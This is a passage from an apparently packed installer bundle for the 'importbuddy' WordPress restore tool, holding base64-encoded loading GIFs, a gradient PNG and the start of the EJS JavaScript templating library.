qDCfC2GaO9eL0LABWTiBYmA06W6kHgvCqEJiAIJiu3gcvgUsscHUERm+kaCxyxa+zRPk0SgJEgfIvbAdIAQLCAYlCj4DBw0IBQsMCjIqBAcPAooCBg9pKgsJLwUFOhCZKyQDA3YqIQAh+QQJCgAAACwAAAAAEAAQAAAFdSAgAgIpnOSonmxbqiThCrJKEHFbo8JxDDOZYFFb+A41E4H4OhkOipXwBElYITDAckFEOBgMQ3arkMkUBdxIUGZpEb7kaQBRlASPg0FQQHAbEEMGDSVEAA1QBhAED1E0NgwFAooCDWljaQIQCE5qMHcNhCkjIQAh+QQJCgAAACwAAAAAEAAQAAAFeSAgAgIpnOSoLgxxvqgKLEcCC65KEAByKK8cSpA4DAiHQ/DkKhGKh4ZCtCyZGo6F6iYYPAqFgYy02xkSaLEMV34tELyRYNEsCQyHlvWkGCzsPgMCEAY7Cg04Uk48LAsDhRA8MVQPEF0GAgqYYwSRlycNcWskCkApIyEAOwAAAAAAAAAAAA==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/images/loading.gif,importbuddy/images/loading.gif
###PACKDATA,FILE_START,/_importbuddy/importbuddy/images/loading_large.gif,importbuddy/images/loading_large.gif
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
###PACKDATA,FILE_END,/_importbuddy/importbuddy/images/loading_large.gif,importbuddy/images/loading_large.gif
###PACKDATA,FILE_START,/_importbuddy/importbuddy/images/white-grad.png,importbuddy/images/white-grad.png
iVBORw0KGgoAAAANSUhEUgAAAAUAAAAeCAYAAADkftS9AAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAACF0RVh0U29mdHdhcmUATWFjcm9tZWRpYSBGaXJld29ya3MgNC4w6iYndQAAABZ0RVh0Q3JlYXRpb24gVGltZQAxMS8xNy8wONpsdXEAAAAlSURBVHicY/z///9/BjTAhC7AwMDAwIJFIXbBoaJ9qLhz+IUSAIMMOibeSzRBAAAAAElFTkSuQmCC
###PACKDATA,FILE_END,/_importbuddy/importbuddy/images/white-grad.png,importbuddy/images/white-grad.png
###PACKDATA,FILE_START,/_importbuddy/importbuddy/js/ejs.js,importbuddy/js/ejs.js
KGZ1bmN0aW9uKCl7CiAgICAKCnZhciByc3BsaXQgPSBmdW5jdGlvbihzdHJpbmcsIHJlZ2V4KSB7Cgl2YXIgcmVzdWx0ID0gcmVnZXguZXhlYyhzdHJpbmcpLHJldEFyciA9IG5ldyBBcnJheSgpLCBmaXJzdF9pZHgsIGxhc3RfaWR4LCBmaXJzdF9iaXQ7Cgl3aGlsZSAocmVzdWx0ICE9IG51bGwpCgl7CgkJZmlyc3RfaWR4ID0gcmVzdWx0LmluZGV4OyBsYXN0X2lkeCA9IHJlZ2V4Lmxhc3RJbmRleDsKCQlpZiAoKGZpcnN0X2lkeCkgIT0gMCkKCQl7CgkJCWZpcnN0X2JpdCA9IHN0cmluZy5zdWJzdHJpbmcoMCxmaXJzdF9pZHgpOwoJCQlyZXRBcnIucHVzaChzdHJpbmcuc3Vic3RyaW5nKDAsZmlyc3RfaWR4KSk7CgkJCXN0cmluZyA9IHN0cmluZy5zbGljZShmaXJzdF9pZHgpOwoJCX0JCQoJCXJldEFyci5wdXNoKHJlc3VsdFswXSk7CgkJc3RyaW5nID0gc3RyaW5nLnNsaWNlKHJlc3VsdFswXS5sZW5ndGgpOwoJCXJlc3VsdCA9IHJlZ2V4LmV4ZWMoc3RyaW5nKTsJCgl9CglpZiAoISBzdHJpbmcgPT0gJycpCgl7CgkJcmV0QXJyLnB1c2goc3RyaW5nKTsKCX0KCXJldHVybiByZXRBcnI7Cn0sCmNob3AgPSAgZnVuY3Rpb24oc3RyaW5nKXsKICAgIHJldHVybiBzdHJpbmcuc3Vic3RyKDAsIHN0cmluZy5sZW5ndGggLSAxKTsKfSwKZXh0ZW5kID0gZnVuY3Rpb24oZCwgcyl7CiAgICBmb3IodmFyIG4gaW4gcyl7CiAgICAgICAgaWYocy5oYXNPd25Qcm9wZXJ0eShuKSkgIGRbbl0gPSBzW25dCiAgICB9Cn0KCgpFSlMgPSBmdW5jdGlvbiggb3B0aW9ucyApewoJb3B0aW9ucyA9IHR5cGVvZiBvcHRpb25zID09ICJzdHJpbmciID8ge3ZpZXc6IG9wdGlvbnN9IDogb3B0aW9ucwogICAgdGhpcy5zZXRfb3B0aW9ucyhvcHRpb25zKTsKCWlmKG9wdGlvbnMucHJlY29tcGlsZWQpewoJCXRoaXMudGVtcGxhdGUgPSB7fTsKCQl0aGlzLnRlbXBsYXRlLnByb2Nlc3MgPSBvcHRpb25zLnByZWNvbXBpbGVkOwoJCUVKUy51cGRhdGUodGhpcy5uYW1lLCB0aGlzKTsKCQlyZXR1cm47Cgl9CiAgICBpZihvcHRpb25zLmVsZW1lbnQpCgl7CgkJaWYodHlwZW9mIG9wdGlvbnMuZWxlbWVudCA9PSAnc3RyaW5nJyl7CgkJCXZhciBuYW1lID0gb3B0aW9ucy5lbGVtZW50CgkJCW9wdGlvbnMuZWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCAgb3B0aW9ucy5lbGVtZW50ICkKCQkJaWYob3B0aW9ucy5lbGVtZW50ID09IG51bGwpIHRocm93IG5hbWUrJ2RvZXMgbm90IGV4aXN0IScKCQl9CgkJaWYob3B0aW9ucy5lbGVtZW50LnZhbHVlKXsKCQkJdGhpcy50ZXh0ID0gb3B0aW9ucy5lbGVtZW50LnZhbHVlCgkJfWVsc2V7CgkJCXRoaXMudGV4dCA9IG9wdGlvbnMuZWxlbWVudC5pbm5lckhUTUwKCQl9CgkJdGhpcy5uYW1lID0gb3B0aW9ucy5lbGVtZW50LmlkCgkJdGhpcy50eXBlID0gJ1snCgl9ZWxzZSBpZihvcHRpb25zLnVybCl7CiAgICAgICAgb3B0aW9ucy51cmwgPSBFSlMuZW5kRXh0KG9wdGlvbnMudXJsLCB0aGlzLmV4dE1hdGNoKTsKCQl0aGlzLm5hbWUgPSB0aGlzLm5hbWUgPyB0aGlzLm5hbWUgOiBvcHRpb25zLnVybDsKICAgICAgICB2YXIgdXJsID0gb3B0aW9ucy51cmwKICAgICAgICAvL29wdGlvbnMudmlldyA9IG9wdGlvbnMuYWJzb2x1dGVfdXJsIHx8IG9wdGlvbnMudmlldyB8fCBvcHRpb25zLjsKCQl2YXIgdGVtcGxhdGUgPSBFSlMuZ2V0KHRoaXMubmFtZSAvKnVybCovLCB0aGlzLmNhY2hlKTsKCQlpZiAodGVtcGxhdGUpIHJldHVybiB0ZW1wbGF0ZTsKCSAgICBpZiAodGVtcGxhdGUgPT0gRUpTLklOVkFMSURfUEFUSCkgcmV0dXJuIG51bGw7CiAgICAgICAgdHJ5ewogICAgICAgICAgICB0aGlzLnRleHQgPSBFSlMucmVxdWVzdCggdXJsKyh0aGlzLmNhY2hlID8gJycgOiAnPycrTWF0aC5yYW5kb20oKSApKTsKICAgICAgICB9Y2F0Y2goZSl7fQoKCQlpZih0aGlzLnRleHQgPT0gbnVsbCl7CiAgICAgICAgICAgIHRocm93KCB7dHlwZTogJ0VKUycsIG1lc3NhZ2U6ICdUaGVyZSBpcyBubyB0ZW1wbGF0ZSBhdCAnK3VybH0gICk7CgkJfQoJCS8vdGhpcy5uYW1lID0gdXJsOwoJfQoJdmFyIHRlbXBsYXRlID0gbmV3IEVKUy5Db21waWxlcih0aGlzLnRleHQsIHRoaXMudHlwZSk7CgoJdGVtcGxhdGUuY29tcGlsZShvcHRpb25zLCB0aGlzLm5hbWUpOwoKCQoJRUpTLnVwZGF0ZSh0aGlzLm5hbWUsIHRoaXMpOwoJdGhpcy50ZW1wbGF0ZSA9IHRlbXBsYXRlOwp9OwovKiBAUHJvdG90eXBlKi8KRUpTLnByb3RvdHlwZSA9IHsKCS8qKgoJICogUmVuZGVycyBhbiBvYmplY3Qgd2l0aCBleHRyYSB2aWV3IGhlbHBlcnMgYXR0YWNoZWQgdG8gdGhlIHZpZXcuCgkgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IGRhdGEgdG8gYmUgcmVuZGVyZWQKCSAqIEBwYXJhbSB7T2JqZWN0fSBleHRyYV9oZWxwZXJzIGFuIG9iamVjdCB3aXRoIGFkZGl0b25hbCB2aWV3IGhlbHBlcnMKCSAqIEByZXR1cm4ge1N0cmluZ30gcmV0dXJucyB0aGUgcmVzdWx0IG9mIHRoZSBzdHJpbmcKCSAqLwogICAgcmVuZGVyIDogZnVuY3Rpb24ob2JqZWN0LCBleHRyYV9oZWxwZXJzKXsKICAgICAgICBvYmplY3QgPSBvYmplY3QgfHwge307CiAgICAgICAgdGhpcy5fZXh0cmFfaGVscGVycyA9IGV4dHJhX2hlbHBlcnM7CgkJdmFyIHYgPSBuZXcgRUpTLkhlbHBlcnMob2JqZWN0LCBleHRyYV9oZWxwZXJzIHx8IHt9KTsKCQlyZXR1cm4gdGhpcy50ZW1wbGF0ZS5wcm9jZXNzLmNhbGwob2JqZWN0LCBvYmplY3Qsdik7Cgl9LAogICAgdXBkYXRlIDogZnVuY3Rpb24oZWxlbWVudCwgb3B0aW9ucyl7CiAgICAgICAgaWYodHlwZW9mIGVsZW1lbnQgPT0gJ3N0cmluZycpewoJCQllbGVtZW50ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZWxlbWVudCkKCQl9CgkJaWYob3B0aW9ucyA9PSBudWxsKXsKCQkJX3RlbXBsYXRlID0gdGhpczsKCQkJcmV0dXJuIGZ1bmN0aW9uKG9iamVjdCl7CgkJCQlFSlMucHJvdG90eXBlLnVwZGF0ZS5jYWxsKF90ZW1wbGF0ZSwgZWxlbWVudCwgb2JqZWN0KQoJCQl9CgkJfQoJCWlmKHR5cGVvZiBvcHRpb25zID09ICdzdHJpbmcnKXsKCQkJcGFyYW1zID0ge30KCQkJcGFyYW1zLnVybCA9IG9wdGlvbnMKCQkJX3RlbXBsYXRlID0gdGhpczsKCQkJcGFyYW1zLm9uQ29tcGxldGUgPSBmdW5jdGlvbihyZXF1ZXN0KXsKCQkJCXZhciBvYmplY3QgPSBldmFsKCByZXF1ZXN0LnJlc3BvbnNlVGV4dCApCgkJCQlFSlMucHJvdG90eXBlLnVwZGF0ZS5jYWxsKF90ZW1wbGF0ZSwgZWxlbWVudCwgb2JqZWN0KQoJCQl9CgkJCUVKUy5hamF4X3JlcXVlc3QocGFyYW1zKQoJCX1lbHNlCgkJewoJCQllbGVtZW50LmlubmVySFRNTCA9IHRoaXMucmVuZGVyKG9wdGlvbnMpCgkJfQogICAgfSwKCW91dCA6IGZ1bmN0aW9uKCl7CgkJcmV0dXJuIHRoaXMudGVtcGxhdGUub3V0OwoJfSwKICAgIC8qKgogICAgICogU2V0cyBvcHRpb25zIG9uIHRoaXMgdmlldyB0byBiZSByZW5kZXJlZCB3aXRoLgogICAgICogQHBhcmFtIHtPYmplY3R9IG9wdGlvbnMKICAgICAqLwoJc2V0X29wdGlvbnMgOiBmdW5jdGlvbihvcHRpb25zKXsKICAgICAgICB0aGlzLnR5cGUgPSBvcHRpb25zLnR5cGUgfHwgRUpTLnR5cGU7CgkJdGhpcy5jYWNoZSA9IG9wdGlvbnMuY2FjaGUgIT0gbnVsbCA/IG9wdGlvbnMuY2FjaGUgOiBFSlMuY2FjaGU7CgkJdGhpcy50ZXh0ID0gb3B0aW9ucy50ZXh0IHx8IG51bGw7CgkJdGhpcy5uYW1lID0gIG9wdGlvbnMubmFtZSB8fCBudWxsOwoJCXRoaXMuZXh0ID0gb3B0aW9ucy5leHQgfHwgRUpTLmV4dDsKCQl0aGlzLmV4dE1hdGNoID0gbmV3IFJlZ0V4cCh0aGlzLmV4dC5yZXBsYWNlKC9cLi8sICdcLicpKTsKCX0KfTsKRUpTLmVuZEV4dCA9IGZ1bmN0aW9uKHBhdGgsIG1hdGNoKXsKCWlmKCFwYXRoKSByZXR1cm4gbnVsbDsKCW1hdGNoLmxhc3RJbmRleCA9IDAKCXJldHVybiBwYXRoKyAobWF0Y2gudGVzdChwYXRoKSA/ICcnIDogdGhpcy5leHQgKQp9CgoKCgovKiBAU3RhdGljKi8KRUpTLlNjYW5uZXIgPSBmdW5jdGlvbihzb3VyY2UsIGxlZnQsIHJpZ2h0KSB7CgkKICAgIGV4dGVuZCh0aGlzLAogICAgICAgIHtsZWZ0X2RlbGltaXRlcjogCWxlZnQgKyclJywKICAgICAgICAgcmlnaHRfZGVsaW1pdGVyOiAJJyUnK3JpZ2h0LAogICAgICAgICBkb3VibGVfbGVmdDogCQlsZWZ0KyclJScsCiAgICAgICAgIGRvdWJsZV9yaWdodDogIAknJSUnK3JpZ2h